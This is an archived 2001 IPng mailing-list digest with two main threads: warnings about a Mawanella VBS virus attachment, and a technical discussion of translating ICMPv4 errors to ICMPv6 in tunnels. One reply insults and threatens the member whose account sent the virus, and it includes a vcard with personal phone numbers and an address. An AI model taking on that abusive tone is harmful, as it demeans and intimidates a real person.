Received: from 2d102 ([192.168.148.59]) by lbmail.mail.wipro.com (Netscape Messaging Server 4.15) with SMTP id GDIL2K00.4Q1; Fri, 18 May 2001 10:12:20 +0530 Message-ID: <003e01c0df54$3b89afe0$3b94a8c0@wipsys.stph.net> From: "k krishna mohan" To: , References: <009f01c0df4f$a8f4cd80$0407080a@future.futsoft.com> Subject: Re: Mawanella Date: Fri, 18 May 2001 10:07:23 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I got an attachment from your mail id. This looks like a virus mawanella.vbs. go here for details : http://vil.nai.com/vil/default.asp and search for mawanella. I haven't opened the attachment but please check it. THanks K K Mohan ----- Original Message ----- From: Vanitha Neelamegam To: Sent: Friday, May 18, 2001 9:33 AM Subject: Mawanella > > Mawanella is one of the Sri Lanka's Muslim Village > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 22:13:20 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4I5CLs06174 for ipng-dist; Thu, 17 May 2001 22:12:21 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4I5CCM06167 for ; Thu, 17 May 2001 22:12:12 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA21104 for ; Thu, 17 May 2001 22:12:11 -0700 (PDT) Received: from exchange.lgsi.co.in ([203.200.20.3]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA27707 for ; Thu, 17 May 2001 22:11:54 -0700 (PDT) Received: from prashanth ([202.54.13.195]) by exchange.lgsi.co.in (Netscape Messaging Server 4.15) with ESMTP id GDIMUY00.O9L; Fri, 18 May 2001 10:50:58 +0530 From: "Basavaraj Unnibhavi" To: "k krishna mohan" , , Subject: RE: Mawanella Date: Fri, 18 May 2001 10:42:30 +0530 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-reply-to: <003e01c0df54$3b89afe0$3b94a8c0@wipsys.stph.net> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: High Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk It is confirmed that it is indeed virus. Please don't open attachment, it will start sending mails to all in the address book Thanks Basavaraj -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of k krishna mohan Sent: Friday, May 18, 2001 10:07 AM To: vanitha@future.futsoft.com; ipng@sunroof.eng.sun.com Subject: Re: Mawanella I got an attachment from your mail id. This looks like a virus mawanella.vbs. go here for details : http://vil.nai.com/vil/default.asp and search for mawanella. I haven't opened the attachment but please check it. THanks K K Mohan ----- Original Message ----- From: Vanitha Neelamegam To: Sent: Friday, May 18, 2001 9:33 AM Subject: Mawanella > > Mawanella is one of the Sri Lanka's Muslim Village > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 22:49:26 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4I5mRc06357 for ipng-dist; Thu, 17 May 2001 22:48:27 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4I5mHM06350 for ; Thu, 17 May 2001 22:48:17 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA23481 for ; Thu, 17 May 2001 22:48:16 -0700 (PDT) Received: from wiprom2mx1.wipro.com (wiprom2mx1.wipro.com [203.197.164.41]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA25248 for ; Thu, 17 May 2001 22:48:10 -0700 (PDT) Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52]) by wiprom2mx1.wipro.com (8.9.3+Sun/8.9.3) with SMTP id LAA03699 for ; Fri, 18 May 2001 11:26:34 GMT Received: from wipro.com ([192.168.220.157]) by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with ESMTP id GDIOE300.4HV; Fri, 18 May 2001 11:24:03 +0530 Message-ID: <3B04B922.73CE246A@wipro.com> Date: Fri, 18 May 2001 11:24:43 +0530 From: "Jayanna Chandrashekar Hallur" Organization: WIPRO GLOBAL R & D X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Basavaraj Unnibhavi CC: k krishna mohan , vanitha@future.futsoft.com, ipng@sunroof.eng.sun.com Subject: Re: Mawanella References: Content-Type: multipart/mixed; boundary="------------76EE5BA7CB5D1AB3535DDC01" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. --------------76EE5BA7CB5D1AB3535DDC01 Content-Type: multipart/alternative; boundary="------------92125BBE94D6FF7DC6D707DA" --------------92125BBE94D6FF7DC6D707DA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello mad vanitha, what happened??? r u a mad?? if so go and admit to mental haspital.. why r u sending these virus attachments.... in our comany also they mail to everyone for don't open this mail.... junk fellow... why r u sending the attachments to owner-ipng@sunroof.eng.sun.com this is for sharing tech information not for sending any attachment which contains virus!!!! Hello everyone please don't open that.... mad and junk vanitha.... be carefull while sending next.. i have my friend in ur company working as MANAGING director.. i will inform him about this,.... -Jayanna Hallur. Basavaraj Unnibhavi wrote: > It is confirmed that it is indeed virus. Please don't open attachment, it > will start sending mails to all in the address book > > Thanks > > Basavaraj > > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of k krishna mohan > Sent: Friday, May 18, 2001 10:07 AM > To: vanitha@future.futsoft.com; ipng@sunroof.eng.sun.com > Subject: Re: Mawanella > > I got an attachment from your mail id. This looks like a virus > mawanella.vbs. > go here for details : http://vil.nai.com/vil/default.asp and search for > mawanella. > I haven't opened the attachment but please check it. > > THanks > K K Mohan > > ----- Original Message ----- > From: Vanitha Neelamegam > To: > Sent: Friday, May 18, 2001 9:33 AM > Subject: Mawanella > > > > > Mawanella is one of the Sri Lanka's Muslim Village > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------92125BBE94D6FF7DC6D707DA Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hello  mad vanitha,
what happened??? r u a mad?? if so  go and admit to mental haspital.. why r u sending these virus attachments....
in our comany also they mail to everyone for don't open this mail....
junk fellow... why r u sending the attachments  to owner-ipng@sunroof.eng.sun.com this is for sharing tech information not for sending any attachment which contains virus!!!!

Hello everyone please don't open that....
 

mad and junk   vanitha.... be carefull while sending next.. i have my friend in ur company working as MANAGING director.. i will inform him about this,....

-Jayanna Hallur.

Basavaraj Unnibhavi wrote:

It is confirmed that it is indeed virus. Please don't open attachment, it
will start sending mails to all in the address book

Thanks

Basavaraj

-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of k krishna mohan
Sent: Friday, May 18, 2001 10:07 AM
To: vanitha@future.futsoft.com; ipng@sunroof.eng.sun.com
Subject: Re: Mawanella

I got an attachment from your mail id. This looks like a virus
mawanella.vbs.
go here for details : http://vil.nai.com/vil/default.asp and search for
mawanella.
I haven't opened the attachment but please check it.

THanks
K K Mohan

----- Original Message -----
From: Vanitha Neelamegam <vanitha@future.futsoft.com>
To: <ipng@sunroof.eng.sun.com>
Sent: Friday, May 18, 2001 9:33 AM
Subject: Mawanella

>
> Mawanella is one of the Sri Lanka's Muslim Village
>

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------92125BBE94D6FF7DC6D707DA-- --------------76EE5BA7CB5D1AB3535DDC01 Content-Type: text/x-vcard; charset=us-ascii; name="jayanna.hallur.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Jayanna Chandrashekar Hallur Content-Disposition: attachment; filename="jayanna.hallur.vcf" begin:vcard n:Hallur;Jayanna Chandrashekar tel;fax:+91-080-5722696 tel;home:+91-0836-775742 and +91-08354- 56362 tel;work:+91-080- 5732293/96 and 98451 89915/6/7/8 Extn:5440 x-mozilla-html:FALSE url:http://www.wipro.com org:Wipro Technologies;Global R & D version:2.1 email;internet:jayanna.hallur@wipro.com title:Software Engineer note:World's First SEI CMM LEVEL 5 Software Service Company adr;quoted-printable:;;#26, Sri. Chamundi Complex, Hosur Main Road, =0D=0ABommanahalli,;Bangalore - 560068;KARNATAKA;;INDIA fn:Jayanna Chandrashekar Hallur end:vcard --------------76EE5BA7CB5D1AB3535DDC01-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 02:16:47 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4I9FTH06703 for ipng-dist; Fri, 18 May 2001 02:15:29 -0700 (PDT) Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4I9EWM06681; Fri, 18 May 2001 02:14:32 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id LAA29081; Fri, 18 May 2001 11:14:24 +0200 (MET DST) Date: Fri, 18 May 2001 11:14:22 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: ICMP errors in response to ICMP errors. To: itojun@iijlab.net Cc: Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-Reply-To: "Your message with ID" <22498.990126639@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > >I just wanted to point out that you can't convert ICMPv4 error to > >ICMPv6 error blindly. You need to check to see the inner packet. > >May be it is very obvious which i missed :-) > > you never need to. the only case you might need to do this is > when you are an IPv6-to-IPv4 translator (but is rare, still). Itojun, There is a problem case related to tunneling (whether RFC 2893 or RFC 2473, or even RFC 2002 enhanced to propagate ICMP errors from the inside of the tunnel back to the sender). RFC 2893 specifies in section 3.4 how to construct an ICMPv6 error from an ICMPv4 error. When doing this you need to avoid creating an ICMPv6 error in response to an ICMPv6 error and the spec doesn't say anything about this. (And RFC 2473 has similar text in section 8.) Here is the example that causes problems in some more detail. An ICMPv6 error packet arrives at the tunnel entrypoint. It looks like this IPv6+ICMPv6+IPV6+... This gets encapsuled in IPv4 (assuming IPv6 over IPv4 for the moment) i.e. this gets sent into the tunnel IPv4+IPv6+ICMPv6+IPV6+... An IPv4 router generates an ICMP error to the above i.e. it returns a packet to the tunnel entrypoint. IPv4+ICMPv4+IPv4+IPv6+ICMPv6+IPV6+... The tunneling code following section 3.4 uses this as input to construct an ICMPv6 error by looking at the initial IPv4+ICMPv4+IPV4. The result looks like IPv6+ICMPv6+IPv6+ICMPv6+IPV6+... Voila, this is an ICMP error in response to an ICMP error. We can't allow this since they could cause an infinite number of packets to be generated. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 03:50:17 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4IAnFJ06840 for ipng-dist; Fri, 18 May 2001 03:49:15 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4IAn6M06833 for ; Fri, 18 May 2001 03:49:06 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA14864 for ; Fri, 18 May 2001 03:49:05 -0700 (PDT) Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id EAA25864 for ; Fri, 18 May 2001 04:49:03 -0600 (MDT) Received: from 157.54.9.104 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 17 May 2001 10:03:34 -0700 (Pacific Daylight Time) Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Thu, 17 May 2001 10:05:42 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Subject: RE: IPSec in a v6tov4 environment... Date: Thu, 17 May 2001 10:05:42 -0700 Message-ID: <7695E2F6903F7A41961F8CF888D87EA8024EF669@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IPSec in a v6tov4 environment... thread-index: AcDe81OUkLXVi4FuTMOEr3LhRcy5hwAAC+4A From: "Richard Draves" To: "Dollinger, MatthewX" , "Ipng Posts (E-mail)" X-OriginalArrivalTime: 17 May 2001 17:05:42.0809 (UTC) FILETIME=[9B2B2890:01C0DEF3] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f4IAn6M06834 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Why not just use end-to-end IPsec over IPv6? I do not see what difficulty 6to4 introduces. Rich > -----Original Message----- > From: Dollinger, MatthewX [mailto:matthewx.dollinger@intel.com] > Sent: Thursday, May 17, 2001 10:00 AM > To: Ipng Posts (E-mail) > Subject: IPSec in a v6tov4 environment... > > > There is a debate going around our lab about whether or > not it is possible to secure a 6to4 network. > > The argument in favor is as follows: > Secure the Ipv4 side with standard IPSec. Have > a secure connection (Still IPv4) with the 6to4 translating router. > Secure the Ipv6 side with Ipv6 Ipsec. Have a > secure (Ipv6) connection to the 6to4 translating router. > The theory is that the 6to4 router will > un-encrypt > the Ipv4 data, and re-encrypt it when sending to the Ipv6 network. > > Another theory is that the Ipv6 IPSec and the Ipv4 > IPSec will be able to establish a security association with > each other, as long as the key (Pre-shared secret) and the > encryption settings are the same. > > I have had a heck of a time finding any detailed information > on this and would greatly appreciate any feedback I can get. > > Thanks! > > "You know, sometimes it is the artist's task to find out how > much music you can still make with what you have left." --- > Itzhak Perlman (Nov. 18, > 1995,) > Matthew Dollinger > IPSec/NQL Lab > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 04:54:01 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4IBr0k06963 for ipng-dist; Fri, 18 May 2001 04:53:00 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4IBqnM06956; Fri, 18 May 2001 04:52:49 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA03513; Fri, 18 May 2001 04:52:48 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA18388; Fri, 18 May 2001 04:52:45 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 41AC54B0B; Fri, 18 May 2001 20:52:37 +0900 (JST) To: Erik Nordmark Cc: Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-reply-to: Erik.Nordmark's message of Fri, 18 May 2001 11:14:22 +0200. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: ICMP errors in response to ICMP errors. From: itojun@iijlab.net Date: Fri, 18 May 2001 20:52:37 +0900 Message-ID: <29797.990186757@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >There is a problem case related to tunneling (whether RFC 2893 or RFC 2473, or >even RFC 2002 enhanced to propagate ICMP errors from the inside of the >tunnel back to the sender). > >RFC 2893 specifies in section 3.4 how to construct an ICMPv6 error >from an ICMPv4 error. When doing this you need to avoid creating >an ICMPv6 error in response to an ICMPv6 error and the spec doesn't say >anything about this. (And RFC 2473 has similar text in section 8.) yes, I understand this portion. Assuming that we are doing IPv6-over- IPv4 tunnel, which IPv4 errors do we need to translate into IPv6? as far as I understand there's none. For IPv6, IPv4 tunnels are invisible entity outside the packet (just like L2 encapsulations like ethernet) and errors on IPv4 layer will be seen to IPv6 layer as loss of packets (just like all L2 failures). I should have sent more comments earlier to these RFCs. Which ICMPv4 do you translate into ICMPv6 on Solaris? (or "would you translate") Couple of analysis (all IMHO): ICMP6 too big messages are not directly converted from ICMPv4 too big, either. B gets ICMPv4 too big from somewhere between B and C for encapsulated packet, B would adjust tunnel MTU, and B originates ICMPv6 too big toward A. A -- B === C -- D ICMPv4 time exceeded does not need to be translated, as TTL field on outer IPv4 header has nothing to do with hoplimit value on inner IPv6 header. B decides IPv4 TTL on its behalf and use that value (RFC2893 p13), and the tunnel between B and C is a 1-hop path for inner IPv6 packet. There's real need to tell time exceeded to A, as there's nothing A can do. The packets will be silently lost just like other L2 failures. RFC2783 recommends to translate it from IPv4 to IPv6 (p27), which I don't really think it useful as there's nothing A can do. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 05:28:24 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4ICRKh07032 for ipng-dist; Fri, 18 May 2001 05:27:20 -0700 (PDT) Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4ICQJM07010; Fri, 18 May 2001 05:26:19 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id OAA12573; Fri, 18 May 2001 14:26:12 +0200 (MET DST) Date: Fri, 18 May 2001 14:26:11 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: ICMP errors in response to ICMP errors. To: itojun@iijlab.net Cc: Erik Nordmark , Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-Reply-To: "Your message with ID" <29797.990186757@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > yes, I understand this portion. Assuming that we are doing IPv6-over- > IPv4 tunnel, which IPv4 errors do we need to translate into IPv6? > as far as I understand there's none. Too big at a minimum. Others you probably want to translate as well so provide more information to the sender. (It seems a bit better to get an ICMP unreachable from the tunnel entrypoint than just a black hole.) > For IPv6, IPv4 tunnels are > invisible entity outside the packet (just like L2 encapsulations like > ethernet) and errors on IPv4 layer will be seen to IPv6 layer > as loss of packets (just like all L2 failures). > I should have sent more comments earlier to these RFCs. When L2 deliver fails on Ethernet an IPv6 node will send address unreachable (this happens after NUD has discarded the neighbor cache and the subsequent address resolution fails.) Thus L2 failures are not completely hidden fro L3 endpoints in IPv6. > Which ICMPv4 do you translate into ICMPv6 on Solaris? (or "would you > translate") > > Couple of analysis (all IMHO): > > ICMP6 too big messages are not directly converted from ICMPv4 too big, > either. B gets ICMPv4 too big from somewhere between B and C for > encapsulated packet, B would adjust tunnel MTU, and B originates > ICMPv6 too big toward A. > A -- B === C -- D If there is enough of the packet included to translate the ICMP then it is better to both adjust the path MTU and do the translation. If you only adjust the path MTU it will take another packet drop (with an ICMPv6 packet too big from the tunnel entrypoint) before the IPv6 sender sees the path MTU. If you do both (when the ICMPv4 packet included sufficient headers) then a single packet drop is sufficient to notify the IPv6 sender of the path MTU. Erik > ICMPv4 time exceeded does not need to be translated, as TTL field on > outer IPv4 header has nothing to do with hoplimit value on inner IPv6 > header. B decides IPv4 TTL on its behalf and use that value (RFC2893 > p13), and the tunnel between B and C is a 1-hop path for inner IPv6 > packet. There's real need to tell time exceeded to A, as there's > nothing A can do. The packets will be silently lost just like other > L2 failures. > RFC2783 recommends to translate it from IPv4 to IPv6 (p27), > which I don't really think it useful as there's nothing A can do. > > itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 05:32:03 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4ICVEq07050 for ipng-dist; Fri, 18 May 2001 05:31:14 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4ICV3M07043; Fri, 18 May 2001 05:31:03 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA06845; Fri, 18 May 2001 05:31:03 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16130; Fri, 18 May 2001 05:31:02 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 531104B0B; Fri, 18 May 2001 21:30:54 +0900 (JST) To: Erik Nordmark Cc: Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-reply-to: Erik.Nordmark's message of Fri, 18 May 2001 14:26:11 +0200. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (ngtrans) Re: ICMP errors in response to ICMP errors. From: itojun@iijlab.net Date: Fri, 18 May 2001 21:30:54 +0900 Message-ID: <248.990189054@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> Which ICMPv4 do you translate into ICMPv6 on Solaris? (or "would you >> translate") >> >> Couple of analysis (all IMHO): >> >> ICMP6 too big messages are not directly converted from ICMPv4 too big, >> either. B gets ICMPv4 too big from somewhere between B and C for >> encapsulated packet, B would adjust tunnel MTU, and B originates >> ICMPv6 too big toward A. >> A -- B === C -- D >If there is enough of the packet included to translate the ICMP >then it is better to both adjust the path MTU and do the translation. >If you only adjust the path MTU it will take another packet drop >(with an ICMPv6 packet too big from the tunnel entrypoint) before the >IPv6 sender sees the path MTU. If you do both (when the ICMPv4 packet >included sufficient headers) then a single packet drop is sufficient >to notify the IPv6 sender of the path MTU. I guess we are talking about the same behavior with different wording. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 06:02:27 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4ID1PT07087 for ipng-dist; Fri, 18 May 2001 06:01:25 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4ID1EM07080; Fri, 18 May 2001 06:01:14 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA26811; Fri, 18 May 2001 06:01:15 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA22036; Fri, 18 May 2001 07:01:25 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 59C344B10; Fri, 18 May 2001 22:01:04 +0900 (JST) To: Erik Nordmark Cc: Mohan Parthasarathy , sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-reply-to: itojun's message of Fri, 18 May 2001 21:30:54 +0900. <248.990189054@itojun.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (ngtrans) Re: ICMP errors in response to ICMP errors. From: itojun@iijlab.net Date: Fri, 18 May 2001 22:01:04 +0900 Message-ID: <499.990190864@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>If there is enough of the packet included to translate the ICMP >>then it is better to both adjust the path MTU and do the translation. >>If you only adjust the path MTU it will take another packet drop >>(with an ICMPv6 packet too big from the tunnel entrypoint) before the >>IPv6 sender sees the path MTU. If you do both (when the ICMPv4 packet >>included sufficient headers) then a single packet drop is sufficient >>to notify the IPv6 sender of the path MTU. > I guess we are talking about the same behavior with different wording. oops, you right. "translation" - send ICMPv6 as soon as B gets ICMPv4 normal behavior - learn PMTU, and then send ICMPv6 on next bigger packet if you don't turn on DF bit on outer IPv4 header, you can avoid this whole translation thing for too big messages, btw. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 18 13:21:05 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4IKJkA07795 